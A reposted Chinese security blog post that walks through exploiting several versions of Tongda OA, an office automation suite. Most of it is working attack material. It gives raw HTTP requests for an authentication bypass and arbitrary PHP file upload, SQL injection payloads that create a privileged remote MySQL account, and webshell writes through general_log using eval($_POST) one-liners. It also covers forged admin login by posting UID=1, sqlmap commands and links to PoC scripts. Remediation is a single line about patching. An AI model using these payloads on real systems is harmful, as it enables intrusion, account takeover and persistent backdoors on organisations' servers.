天天动画片 > 八卦谈 > 通达oa部分版本漏洞利用

通达oa部分版本漏洞利用

八卦谈 佚名 2022-12-02 07:56:49

作者:掌控安全-mss

信息收集

判断通达版本

inc/expired.php


inc/reg_trial.php


inc\reg_trial_submit.php

用户名/邮箱收集

ispirit/retrieve_pwd.php?username=admin

计算机名

resque/worker.php

通达OA11.6绕过身份验证+任意文件上传

  1. 访问/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php,删除auth.inc.php

2.构造post数据包上传文件

  1. POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1

  2. Host: 192.168.179.128:96

  3. User-Agent: python-requests/2.23.0

  4. Accept-Encoding: gzip, deflate

  5. Accept: */*

  6. Connection: keep-alive

  7. Content-Length: 855

  8. Content-Type: multipart/form-data; boundary=abc

  9. --abc

  10. Content-Disposition: form-data; name="FILE1"; filename="test.php"

  11. <?php echo test?>

  12. --abc--

3.py脚本:https://github.com/TomAPU/poc_and_exp/blob/master/rce.py


11.7注入漏洞

注入点在后台在general/hr/manage/query/delete_cascade.php?condition_cascade=语句

  1. 登陆后构造一个语句创建一个账号用于远程登录数据库,
    构造前


构造grant all privileges ON mysql.* TO 'test'@'%' IDENTIFIED BY 'test' WITH GRANT OPTION

  1. 赋予权限
    执行一些指令报错,给设置的账号权限


在数据库里构造


`UPDATE `mysql`.`user` SET `Super_priv` = 'Y' WHERE `User` = 'test'

给用户赋予超级权限,
在注入点构造general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges刷新权限后重新登录,输入set global general_log = on;

  1. 写shell
    set global general_log_file = ‘C:/toda17/webroot/1.php’;
    select ‘<?php eval($_REQUEST[test]);?>’;

通达OA 11.7 后台sql注入getshell漏洞复现详解如下:

1、漏洞描述:
该漏洞类型为SQL注入,通过SQL注入达到GetShell目的

2、漏洞影响版本:
测试版本:通达OA v11.7版本
限制条件:需要账号登录

3、环境搭建:
自行下载相关的安装包,一键安装,安装的界面如下:

4、漏洞复现
SQL注入
该SQL注入漏洞是通过代码审计的时候发现,所以上工具SeayDzend,然后将我们的源码进行解码,我们审计的时候发现delete_cascade.php文件中condition_cascade参数存在布尔盲注,审计过程如下:
首先进入到delete_cascade.php页面,我们知道通达在注册变量时考虑了安全问题,系统会将用户传入的数据用addslashes函数进行保护,但是回到判断$condition_cascade传参,这里发现传参如果不为空,又将其中的\’替换为’ ,导致漏洞的存在。

接下来对其进行测试。


我们发现直接进行访问是行不通的,所以这里有一个限制条件,需要一个账号进行登录,我们搭建的时候默认的账号是admin,密码是空,先进行登录

这个是正常的页面,接下来我们对其condition_cascade传参进行布尔盲注测试


这时候我们好像遇到了困难,输入的语句中存在sleep的时候触发了通达OA的安全验证机制,为了更好的绕过,我们去看看源代码中的安全检测机制,

这里我们发现只是过滤了一些字符,并非无法进行绕过,盲注的核心是:substr、if、Left等函数,这些均未被过滤,所以我们可以考虑从这些入手。
这时候我们只要构造MySQL报错即可配合if函数进行盲注了,但是语句的构造还是会存在问题,这时候我们去查看类似文章分享,发现power()函数也可以使数据库报错,所以构造语句:
select%20if((substr((select%20user()),1,1)=%27r%27),1,power(6666,666));

构造利用链达到getshell
传参处尝试进行用户的添加

进行连接试试

发现添加成功了,这个时候我们就会给用户相应的权限,这里在数据库中进行对该用户赋予超级权限,UPDATEmysql.user SET Super_priv = ‘Y’ WHERE User = ‘test123’
接着我们在注入点进行权限的刷新condition_cascade=flush privileges;

重新登录之后我们知道写shell需要知道一定的路径,这个时候我们可以先查看一下路径,我们只是进入了数据库,可以根据数据库的信息进行猜测


这个时候我们可以知道根目录是OA17
接着对其进行写shell操作
set global general_log = on;
set global general_log_file = ‘C:/OA17/webroot/1.php’;
select ‘<?php eval($_POST[8]);?>’;

成功写入,连蚁剑


成功getshell!
5、修复建议
更新官方发布补丁


11.5注入漏洞

报表处sql注入

条件:需要一个账号


URL:general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2*


sqlmap:python3 sqlmap.py -u "xxxx.com/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2*" --cookie="你的cookie"

查询日程处sql注入


条件:需要账号
POST包:

  1. POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1

  2. Host: 192.168.179.128:96

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0

  4. Accept: */*

  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

  6. Accept-Encoding: gzip, deflate

  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8

  8. X-Requested-With: XMLHttpRequest

  9. Content-Length: 69

  10. Origin: http://192.168.179.128:96

  11. Connection: close

  12. Referer: http://192.168.179.128:96/general/calendarArrange/calendarArrange.php

  13. Cookie: USER_NAME_COOKIE=jishubu; SID_1=8bb34f0c; OA_USER_ID=65; PHPSESSID=t96g3biuiaqqtl45pdnoj97mh7; SID_65=355c96b8; _csrf=ae4a4fdd9d8d59db93632d5dadc33a47b899db1feecc86c609c3e23966f70eaca%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22yyvCSMFngKTJiOxmyIyzkxRPstj3pdcC%22%3B%7D


  14. view=month&starttime=1601222400&endtime=1604246400&callback=undefined


SQLMAP:`python3 sqlmap.py -r “1.txt”


version < 11.5 未授权访问&文件上传

  1. 访问general/login_code.php


得到code_uid:BED9DDBF-B3A5-ADAA-F671-9E349EAC7B5D

  1. 构造如下post包

  1. POST /logincheck_code.php HTTP/1.1

  2. Host: 192.168.179.128:96

  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

  6. Accept-Encoding: gzip, deflate

  7. Connection: close

  8. Upgrade-Insecure-Requests: 1

  9. Content-Type: application/x-www-form-urlencoded

  10. Content-Length: 52


  11. CODEUID={BED9DDBF-B3A5-ADAA-F671-9E349EAC7B5D}&UID=1


    得到cookie

2.替换cookie,访问general/index.php?is_modify_pwd=1

  1. 构造如下数据包

  1. POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1

  2. Host: 192.168.179.128:96

  3. User-Agent: python-requests/2.23.0

  4. Accept-Encoding: gzip, deflate

  5. Accept: */*

  6. Connection: keep-alive

  7. Content-Length: 855

  8. Content-Type: multipart/form-data; boundary=abc

  9. --abc

  10. Content-Disposition: form-data; name="FILE1"; filename="test.php"

  11. <?php echo test?>

  12. --abc--

通达OA前台任意用户登录漏洞

1、通达简介
通达OA是一套在国内常用的办公系统,它的使用群体,大小公司都有,它是采用了基于web的企业计算,有着世界上最先进的Apache服务,性能稳定且可靠,对于数据的存储集中控制,后台有着多级的权限管理,完善的登录机制和密码验证功能。
2、漏洞描述
该漏洞类型为任意用户伪造,未经授权的远程攻击者可以在远程且未经授权的情况下,通过精心构造的请求包进行任意用户伪造登录(包括系统管理员)。

3、漏洞影响版本
通达OA2017、V11.X<V11.5

4、环境搭建
自行下载相关的安装包,一键安装,这里以V11.3版本为例,安装的界面如下:

5、漏洞复现
手工注入
我们刚刚开始的时候如果访问这个链接页面的时候我们发现是没有权限的

接着我们去到我们的登录页面进行抓包分析,看是否存在验证身份的传参

我们发现是不存在什么验证身份信息的,但是我们可以看到有PHPSESSID,这个时候我们是否会想,如果我得到管理员或者其他用户的PHPSESSID加上身份验证传参是否就可以登录。我们正常登录的时候我们会发现会跳转至logincheck.php

我们可以去到源码分析,发现源码加密了,这里用软件SeayDzend.exe进行解密,接着发现logincheck.php引用了logincheck_code.php进行身份验证

分析发现这里直接获取POST[‘UID’]参数,然后直接带进SQL语句查询,这里没有去验证用户密码,这里猜测UID是什么的时候是管理员,我们这里可以进入mysql5目录,查看my.ini获取密码,进入TO_OA数据库,查询上述语句SELECT * from USER where UID=’$UID’,查看结果发现UID为1的时候是管理员用户。

我们继续往下看,当我们在logincheck_code.php中POST传入UID=1的时候,经过logincheck_code.php的SQL查询操作,将直接返回admin认证的SESSION到当前的这时可以带着当前的SESSION到/general/index.php中,直接是admin管理员用户

这个时候我们可以去抓包进行复现刚才的思路
首先更改登录包进行获取PHPSESSID

接着把PHPSESSID放入到/general/index.php目录下的页面进行未经授权登录

6、进阶-后台GETSHELL
找到菜单中的附件管理,如果没有存储目录的需要自己添加

之后找到组织中的系统管理员,打开聊天窗口,我们发现有一个发送文件的地方,而发送成功之后的文件会存储在我们刚才设置好的目录中

这里进行文件传输的时候我们可以进行抓包,我们发现存储的位置就是我们设置的目录

这个是我们发现会更改文件的命名,但是我们抓包的时候发送数据包时会返回重命名文件和路径
这个时候我们是否可以直接传输小马,试一试

接着我们就可以直接上蚁剑进行连接啦

成功getshell

7、POC方法
有时候我们总会嫌弃手工注入太繁琐,这里我们依旧可以用脚本得到PHPSESSID
usage: python 3 poc.py -v {11,2017} -url TARGETURL

我们将得到的PHPSESSID直接放到COOKIE中,我们发现依旧是可以直接进行未授权登录的

8、修复建议:
更新官方发布补丁

部分还没测出来,后续补上


本文标题:通达oa部分版本漏洞利用 - 八卦谈
本文地址:www.ttdhp.com/article/10130.html

天天动画片声明:登载此文出于传递更多信息之目的,并不意味着赞同其观点或证实其描述。
扫码关注我们